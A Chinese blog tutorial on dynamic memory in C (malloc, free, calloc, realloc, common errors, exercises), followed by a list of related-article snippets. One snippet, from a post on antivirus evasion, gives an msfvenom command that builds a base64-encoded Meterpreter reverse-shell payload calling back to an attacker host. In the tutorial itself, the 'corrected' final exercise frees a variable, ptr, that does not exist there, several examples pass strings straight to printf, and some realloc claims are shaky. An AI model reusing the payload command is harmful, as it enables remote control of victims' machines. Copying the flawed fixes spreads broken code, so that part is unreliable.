动态内存管理<C语言>
导言
在C语言学习阶段,指针、结构体和动态内存管理,是后期学习数据结构的最重要的三大知识模块,也是C语言比较难的知识模块,但是“天下无难事”,只要认真踏实的学习,也能解决,所以下文将介绍动态内存管理涉及到的一些函数以及概念。
目录
导言
为什么存在动态内存管理
malloc和free
malloc
free
calloc和realloc
calloc
realloc
常见的关于动态内存管理错误
1.对可能是NULL指针的引用
2.对不是动态开辟的内存进行释放
3.对动态开辟的内存进行越界访问
4.使用free释放动态开辟内存的一部分
5.忘记内存释放(忘记free),造成内存泄漏
例题
为什么存在动态内存管理
int a;
char arr[10];
这是我们常用的用于向内存申请空间的办法,但是:
●空间开辟的空间是固定的
●数组在申明时,数组大小一旦确定,申请的内存空间不可变
在实际编写程序时,可能我们对于内存空间的需求不是固定,那么使用动态内存管理自己申请空间、自己释放空间就是一个很好的选择。
malloc和free
malloc
函数参数及其返回值
void* malloc(size_t size);
//申请size个字节的空间
//返回值,成功申请:返回开辟空间的首地址、失败:返回NULL
注意点
●返回值是void*,那么我们在实际使用时,应把它强制转化为我们需要的类型。
●与局部变量不同,开辟空间在堆区(如数组在栈区)
●malloc不会将内存空间初始化为0,这是与最大calloc区别!
●动态内存可调整(通过realloc)
使用举例:

free
函数参数及其返回值
void free(void* ptr);
//释放动态内存申请的ptr指向的空间
注意点
●只能用来手动释放动态申请的空间,如果不是结果是未定义的
●释放空间后,只是将权限交还于操作系统,指针还指向着地址(悬空指针),应该手动将其置为NULL
●如果释放指针是NULL,那么什么也不做。
使用举例:
#include<stdlib.h>
int main() {int* ptr = NULL;int count = 0;scanf("%d", &count);ptr = (int*)malloc(count * sizeof(int));free(ptr);ptr = NULL;return 0;
}
calloc和realloc
calloc
函数参数及其返回值
void* calloc(size_t num,size_t size);
//申请num个size个字节的空间,并初始化为0
//返回值,成功申请:返回开辟空间的首地址、失败:返回NULL
注意点
●开辟空间并全部初始化为0
●两个参数(num个size字节)
●其他与malloc类似
使用举例:

realloc
函数参数及其返回值
void* realloc(void* ptr,size_t size);
//ptr是要调整的内存地址
//size是调整之后的大小
//返回值,成功申请:返回调整空间的首地址、失败:返回NULL
使用举例:
#include<stdlib.h>
#include<stdio.h>
int main() {int count;scanf("%d", &count);int* ptr = (int*)calloc(count, sizeof(int));//申请count个int大小的空间if (ptr) {//判断是不是NULL:是否申请成功for (int i = 0; i < count; i++)ptr[i] = i;//赋值:从0开始到count-1步为1的序列for (int i = 0; i < count; i++)printf("%d ", ptr[i]);}printf("\n");printf("调整前的地址:%p\n", ptr);//观察动态(realloc)调整前的地址int* p = (int*)realloc(ptr, (count + 5) * sizeof(int));//申明一个新指针来接收,防止调整失败返回NULL,数据丢失,调整为多5个int大小的地址if (p)//判断是否是NULL:是否调整成功ptr = p;printf("调整后的地址:%p", ptr);//观察动态(realloc)调整后的地址free(ptr);ptr = NULL;return 0;
}
运行结果:
先开辟10个int字节大小空间的运行结果:

先开辟20个int字节大小空间的运行结果:

注意点
●参数size为0时,返回值是NULL,并将ptr的内存释放,这是未定义的行为,在不同的编译器上不能保证
●如果ptr参数为NULL,会动态开辟一个新的内存空间,此时realloc函数的作用等同于malloc
●这个函数调整空间时会把数据移到新的内存空间内(实际上,有一种情况不会,但是为了代码的健壮性和可移植性,我们最好这样定义)
两种情况:
①原有地址后面有足够的空间容纳调整后的空间
②原有地址后面没有足够的空间容纳调整后的空间
其实在前面的使用举例中我们已经观察到:
先开辟10个int字节大小空间的运行结果(第一种情况)
直接在原地址后面开辟新空间
先开辟20个int字节大小空间的运行结果(第二种情况)
找到一块能容纳调整后的空间的地址,将数据移动到其中
关于参数size为0时的举例:
因为我们没有办法直接观察一块动态开辟的内存是否被释放,且这种size为0行为是未定义的,所以我们只能观察它的返回值

关于参数ptr是NULL时的情况
此时realloc等同malloc

注意:动态内存管理的4个函数都包含在<stdlib.h>中
常见的关于动态内存管理错误
1.对可能是NULL指针的引用

2.对不是动态开辟的内存进行释放
// 2.对不是动态开辟的内存进行释放
#include<stdio.h>
#include<stdlib.h>
int main() {int a = 0;int* p = &a;free(p);p = NULL;return 0;
}
3.对动态开辟的内存进行越界访问
//3.对动态开辟的内存进行越界访问
#include<stdlib.h>
int main() {int* p = (int*)malloc(sizeof(int));p++;*p = 1;free(p);p = NULL;return 0;
}
4.使用free释放动态开辟内存的一部分
//4.使用free释放动态开辟内存的一部分
#include<stdlib.h>
int main() {int* p = (int*)malloc(4*sizeof(int));//动态开辟4个int大小的空间p++;//指向第二个元素free(p);p = NULL;return 0;
}
5.忘记内存释放(忘记free),造成内存泄漏
//5.忘记内存释放(忘记free),造成内存泄漏
#include<stdlib.h>
int main() {int* p = (int*)malloc(sizeof(int));return 0;
}
例题
1.
void GetMemory(char* p)
{p = (char*)malloc(100);
}
void Test(void)
{char* str = NULL;GetMemory(str);strcpy(str, "hello world");printf(str);
}
int main() {Test();return 0;
}运行会咋样
p虽然在GetMemory函数中开辟了内存,但是在出函数时,该地址被销毁,所以str还是NULL指针,对NULL指针进行赋值是一个未定义行为。(传值调用而没有使用传址调用)
改正(二级指针):
void GetMemory(char** p)//使用二级指针接收
{*p = (char*)malloc(100);
}
void Test(void)
{char* str = NULL;GetMemory(&str);//传入指针的地址strcpy(str, "hello world");printf(str);
}
int main() {Test();return 0;
}
改正(将开辟的空间返回):

2.
char* GetMemory(void)
{char p[] = "hello world";return p;
}
void Test(void)
{char* str = NULL;str = GetMemory();printf(str);
}
int main() {Test();return 0;
}//运行结果?
GetMemory函数返回了一个地址,但是这个地址出了函数,权限已经收回给了操作系统,str接收的是一个野指针,并将它打印出来,这种行为是未定义的,可能造成错误。(说到底是栈空间返回会被销毁的问题)
我们知道只要是函数内的变量都是栈空间申请的空间,在出函数时,都会被回收,但是动态内存管理申请的空间,必须要手动释放,所以在函数中我们使用动态内存申请的地址是不会被收回的(堆区申请),所以我们尝试改正时,在函数内部使用动态内存申请,并返回。
改正:
char* GetMemory(void)
{char* p = (char*)malloc(20);strcpy(p, "hello world!");return p;
}
void Test(void)
{char* str = NULL;str = GetMemory();printf(str);
}
int main() {Test();return 0;
}
3.
//3
void GetMemory(char** p, int num)
{*p = (char*)malloc(num);
}
void Test(void)
{char* str = NULL;GetMemory(&str, 100);strcpy(str, "hello");printf(str);
}
int main() {Test();return 0;
}//运行结果,以及问题
没释放空间,内存泄漏
改正:
void GetMemory(char** p, int num)
{*p = (char*)malloc(num);
}
void Test(void)
{char* str = NULL;GetMemory(&str, 100);strcpy(str, "hello");printf(str);free(ptr);ptr=NULL;
}
int main() {Test();return 0;
}
使用了已经被释放的内存
相关文章:
动态内存管理<C语言>
导言 在C语言学习阶段,指针、结构体和动态内存管理,是后期学习数据结构的最重要的三大知识模块,也是C语言比较难的知识模块,但是“天下无难事”,只要认真踏实的学习,也能解决,所以下文将介绍动态…...
第一百零二节 Java面向对象设计 - Java静态内部类
Java面向对象设计 - Java静态内部类 静态成员类不是内部类 在另一个类的主体中定义的成员类可以声明为静态。 例子 以下代码声明了顶级类A和静态成员类B: class A {// Static member classpublic static class B {// Body for class B goes here} }注意 静态成…...
给自己Linux搞个『回收站』,防止文件误删除
linux没有像windows里一样的回收站,工作时候删除文件容易不小心删错,造成麻烦的后果。所以给自己整了个回收站: 文件删除,新建~/opts/move_to_trash.sh,然后在里面新增,将${your_name}改成你的用户名。同时…...
Springboot接收参数的21种方式
前言 最近一直在忙着开发项目(ps:其实有些摆烂),好久没有更新博客了,打开csdn一看好多网友留言私信,继上篇博客(我是如何实现HttpGet请求传body参数的!),网友议论纷纷,各抒起见。今天正好抽出时间总结一下Springboot接受参数的21种方式(Post、Get、Delete),一并…...
打造出色开发者体验的十大原则
大约十年前我是一名CIO,当时我在评估一种技术解决方案,向潜在供应商的代表讲明了我们的主要需求。他展示了该公司的至少三款产品。每种工具都有各自的用户体验、开发方法和学习要求,但是解决我们的业务需求同时需要这三种工具。作为CIO&#…...
Vue3_对接腾讯云COS_大文件分片上传和下载
目录 一、腾讯云后台配置 二、安装SDK 1.script 引入方式 2.webpack 引入方式 三、文件上传 1.new COS 实例 2.上传文件 四、文件下载 腾讯云官方文档: 腾讯云官方文档https://cloud.tencent.com/document/product/436/11459 一、腾讯云后台配置 1.登录 对…...
python免杀--base64加密(GG)
单层加密都GG~ 目录 cs生成个python的payload 将shellcode进行base64编码 执行上线代码 cs生成个python的payload msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhostIP lport6688 -f c cs生成c的也行. 将shellcode进行base64编码 import base64code …...
Python版与Java版城市天气信息爬取对比分析
在对比Python版和Java版城市天气信息爬取时,我们需要考虑多个方面,包括语言特性、库支持、代码简洁性、执行效率以及维护成本等。以下是对这两个版本进行的一些对比分析: 1. 语言特性 Python: 易于学习:Python的语法清…...
CSS真题合集(二)
CSS真题合集(二) 11. css3新增特性12. css3动画12.1 关键帧动画 (keyframes)12.2 animation12.3 transition12.4 transform 13. grid网格布局13.1 使用display: grid或display: inline-grid的HTML元素。13.2 定义网格13.3 13.4 自动填充和自动放置13.4 对…...
长期出汗困扰你?可能是肾合出了问题
想象一下,我们的身体是一座繁茂的秘密花园,每一寸肌肤、每一个细胞都是花园里的一朵花、一片叶。汗水,则是这花园中无声的语言,它讲述着我们的健康与否,也揭示着身体内部的微妙变化。 在炎炎夏日,身体如盛开…...
Jmeter函数二次开发说明
jmeter 二次开发使用 jmeter二次开发实现方法 使用maven依賴进行开发 导入jmeter的maven依赖,需要和你使用的jmeter版本一致。 <!-- https://mvnrepository.com/artifact/org.apache.jmeter/ApacheJMeter_core --> <dependency><groupId>org.ap…...
重新学习STM32(1)GPIO
概念简介 GPIO 是通用输入输出端口的简称,简单来说就是 STM32 可控制的引脚。STM32 芯片通过 GPIO 引脚与外部设备连接起来,从而实现与外部通讯、控制以及数据采集的功能。 GPIO被分成很多组,比如 GPIOA和GPIOB等。所有的 GPIO引脚都有基本的…...
React+TS前台项目实战(二)-- 路由配置 + 组件懒加载 + Error Boundary使用
文章目录 前言一、路由配置和懒加载lazy的使用二、TS版本Error Boundary组件封装三、在layout组件中使用Suspense组件和错误边界组件总结 前言 本文将详细介绍项目中的页面路由配置和异步组件懒加载处理,以提高用户体验,实现过渡效果。 一、路由配置和懒…...
成为电商低价神秘顾客访问员的必备条件(深圳神秘顾客公司)
电商低价神秘顾客需要具备以下条件,以确保能够执行有效的调查任务并为企业提供有价值的反馈: 1、细致的观察能力:神秘顾客访问员需要具备细致的观察能力,能够全面、细致地观察电商平台的购物流程、商品详情、服务细节等。这包括注…...
现货黄金交易多少克一手?国内外情况大不同
如果大家想参与国际市场上的现货黄金交易,就应该从它交易细则的入手,先彻底认识这个品种,因为它是来自欧美市场的投资方式,所以无论是从合约的计的单位,计价的货币,交易的具体时间,以及买卖过程…...
LNMP与动静态网站介绍
Nginx发展 Nginx nginx http server Nginx是俄罗斯人 Igor Sysoev(伊戈尔.塞索耶夫)开发的一款高性能的HTTP和反向代理服务器。 Nginx以高效的epoll.kqueue,eventport作为网络IO模型,在高并发场景下,Nginx能够轻松支持5w并发连接数的响应,并…...
教育小程序开发:技术实现与实践案例
随着信息技术的不断进步,教育小程序在教育领域的应用越来越广泛。教育小程序开发不仅可以提高教学效率,还能够提供个性化的学习体验。本文将以技术代码为例,详细介绍教育小程序开发的关键技术和实践案例,帮助开发者更好地理解和实…...
LeetCode 746.使用最小花费爬楼梯
题目: 给你一个整数数组 cost ,其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用,即可选择向上爬一个或者两个台阶。 你可以选择从下标为 0 或下标为 1 的台阶开始爬楼梯。 请你计算并返回达到楼梯顶部的最低花费…...
软件设计模式概述
一 软件模式概述 软件设计模式是在软件开发过程中经过验证的、可重复使用的最佳实践。 它们提供了解决常见设计问题的模板和指导方针,有助于开发人员编写高质量、可维护和可扩展的代码。 软件设计模式通常基于面向对象的编程范式,并利用封装、…...
短剧片源火爆,千金难求好剧源
前言 在当今快节奏的生活中,短剧以其精悍的篇幅、吸睛的剧情和便捷的观看方式,异军突起,吸引了大量观众的关注和喜爱。这些短剧不仅让人们在忙碌的间隙轻松娱乐,更以其高潮迭起的情节设计,让观众在短时间内便能体验到…...
RocketMQ延迟消息机制
两种延迟消息 RocketMQ中提供了两种延迟消息机制 指定固定的延迟级别 通过在Message中设定一个MessageDelayLevel参数,对应18个预设的延迟级别指定时间点的延迟级别 通过在Message中设定一个DeliverTimeMS指定一个Long类型表示的具体时间点。到了时间点后…...
从零实现富文本编辑器#5-编辑器选区模型的状态结构表达
先前我们总结了浏览器选区模型的交互策略,并且实现了基本的选区操作,还调研了自绘选区的实现。那么相对的,我们还需要设计编辑器的选区表达,也可以称为模型选区。编辑器中应用变更时的操作范围,就是以模型选区为基准来…...
vscode(仍待补充)
写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh? debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...
(一)单例模式
一、前言 单例模式属于六大创建型模式,即在软件设计过程中,主要关注创建对象的结果,并不关心创建对象的过程及细节。创建型设计模式将类对象的实例化过程进行抽象化接口设计,从而隐藏了类对象的实例是如何被创建的,封装了软件系统使用的具体对象类型。 六大创建型模式包括…...
论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing
Muffin 论文 现有方法 CRADLE 和 LEMON,依赖模型推理阶段输出进行差分测试,但在训练阶段是不可行的,因为训练阶段直到最后才有固定输出,中间过程是不断变化的。API 库覆盖低,因为各个 API 都是在各种具体场景下使用。…...
通过 Ansible 在 Windows 2022 上安装 IIS Web 服务器
拓扑结构 这是一个用于通过 Ansible 部署 IIS Web 服务器的实验室拓扑。 前提条件: 在被管理的节点上安装WinRm 准备一张自签名的证书 开放防火墙入站tcp 5985 5986端口 准备自签名证书 PS C:\Users\azureuser> $cert New-SelfSignedCertificate -DnsName &…...
redis和redission的区别
Redis 和 Redisson 是两个密切相关但又本质不同的技术,它们扮演着完全不同的角色: Redis: 内存数据库/数据结构存储 本质: 它是一个开源的、高性能的、基于内存的 键值存储数据库。它也可以将数据持久化到磁盘。 核心功能: 提供丰…...
《Docker》架构
文章目录 架构模式单机架构应用数据分离架构应用服务器集群架构读写分离/主从分离架构冷热分离架构垂直分库架构微服务架构容器编排架构什么是容器,docker,镜像,k8s 架构模式 单机架构 单机架构其实就是应用服务器和单机服务器都部署在同一…...
Django RBAC项目后端实战 - 03 DRF权限控制实现
项目背景 在上一篇文章中,我们完成了JWT认证系统的集成。本篇文章将实现基于Redis的RBAC权限控制系统,为系统提供细粒度的权限控制。 开发目标 实现基于Redis的权限缓存机制开发DRF权限控制类实现权限管理API配置权限白名单 前置配置 在开始开发权限…...
【Java多线程从青铜到王者】单例设计模式(八)
wait和sleep的区别 我们的wait也是提供了一个还有超时时间的版本,sleep也是可以指定时间的,也就是说时间一到就会解除阻塞,继续执行 wait和sleep都能被提前唤醒(虽然时间还没有到也可以提前唤醒),wait能被notify提前唤醒…...
